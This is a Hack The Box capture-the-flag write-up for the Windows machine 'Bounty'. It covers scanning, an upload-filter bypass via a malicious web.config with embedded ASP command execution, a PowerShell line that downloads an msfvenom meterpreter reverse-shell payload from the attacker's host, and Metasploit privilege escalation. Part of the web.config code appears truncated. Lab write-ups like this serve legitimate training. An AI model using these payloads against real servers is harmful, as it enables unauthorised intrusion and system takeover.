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Bounty writeup

Bounty Writeup

How to resolve HTB Bounty
Bounty is a Windows Hack the Box (HTB) machine that has several vulnerabilities where an attacker can upload malicious files and get system access. In this article we present how to exploit the vulnerabilities of that machine and how to gain access as Administrator and obtain the root flag.

Scanning Phase

First of all we check the IP of the Bounty machine and try a ping to see if we have access.

host$ ping -c2

Then scan the ports with nmap, in this case we’re going to use basic nmap.

host$ nmap

And we see that there is only one port open port 80.


Then we try to access to the port 80 with our browser and it opens a web page with an image of Merlin.


As we see in this page there is nothing in there more than an image, so we’re going to scan the whole web server with dirbuster to check if we can access something useful.

host$ dirb

Here we found a folder where uploaded files are stored, we need the page of the upload functionality, with dirbuster and some options we can set different extensions and obtain what we are looking for. Since is a Windows machine, we are going to use asp and aspx extensions.

host$ dirb -X .asp,.aspx

Getting user

In the last step we got an upload page, but with no further instructions. There we can try to upload an image and check the result.


But if we try with a webshell in aspx or asp it returns an error.


The web server has a filter, that possibly checks the extension of the file uploaded, if you try with double extension it won’t work either.

So what we can do? In Windows there is 3 major types of extensions: asp, aspx and config. We already tried with an asp/aspx extension, what happens if we upload a web.config file?

<?xml version="1.0" encoding="UTF-8"?>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*"
           requireAccess="Write" preCondition="bitness64" />
               <remove fileExtension=".config" />
               <remove segment="web.config" />

We can see that result is positive. The web.config file is used by IIS servers to store settings that comes with the installation of the API.

With this we can start to exploit this machine. There is a vulnerability on the web.config file processing, that could allow an attacker to execute code remotely by injecting asp code in the file (More information can be found here ).

So in order to have remote code execution (RCE) we need to add the following lines to our web.config file:

Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("cmd.exe /c whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing

Then we upload it and access the file via the web as before.


Eureka! With this we can have our user flag, but we want an active shell that we can use for further enumeration. For this we can use msfvenom, this is a tool that creates payloads in order to gain access to a machine, it installed by default on Kali, it also comes with the installation of Metasploit. Then upload our file to the server with our RCE and start a web server on our side to download our exploit.

First of all, the exploit with msfvenom:

host$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip.ip.ip.ip LPORT=port -f exe -o myexploit.exe --smallest

This will create a malicious file, when we executed on the server will give us a reverse shell with our RCE file using meterpreter, this is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime.

Then we need to start a web server in our machine, we can do it with Python by running:

host$ python -m SimpleHTTPServer 7000

To make the server to download our file we can use the next PowerShell command in our web.config file replacing the whoami one:

Set cmd1 = wShell1.Exec("cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('http://ip.ip.ip.ip:7000/myexploit.exe', 'C:\Windows\Temp\myexploit.exe')")

Upload it, and then open it on a private tab. We can see now that the server downloaded our file.


Then we need to start our listener. We can use Metasploit to do it:

host$ msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST ip.ip.ip.ip
msf exploit(multi/handler) > set LPORT port
msf exploit(multi/handler) > run

With this we are ready to initiate our reverse shell. In order to do this we need to run our exploit on the server with the same RCE method as before, changing the command to the following:

Set cmd1 = wShell1.Exec("cmd.exe /c C:\Windows\Temp\myexploit.exe")

Upload it, open the page of the web.config file and we have our reverse shell.


Getting root

With meterpreter we can start to enumerate the server.


And we see that the server has an x64 Architecture, we are going to repeat the process (msfvenom, upload, handler, run) but now with the payload:


Then when we have another session opened, we are going to run the next:

meterpreter > run post/multi/recon/local_exploit_suggester

Here we got some exploits that we can use to elevate to Administrator, we are going to use the first one with:

meterpreter > background
msf exploit(multi/handler) > use exploit/windows/local/ms10_092_schelevator
msf exploit(windows/local/ms10_092_schelevator) > set SESSION sessionnum
msf exploit(windows/local/ms10_092_schelevator) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ms10_092_schelevator) > set LPORT port
msf exploit(windows/local/ms10_092_schelevator) > set LHOST ip.ip.ip.ip
msf exploit(windows/local/ms10_092_schelevator) > run

When it finishes, we will have a new session created and with user NT Authority\System.


With this we can read our root flag.

We learned on this challenge a vulnerability with the web.config file, to always check the architecture when we access as an user on a machine and to use some of the meterpreter commands.

Author picture

Jonathan Armas

Systems Engineer, Security+

"Be formless, shapeless like water" Bruce Lee


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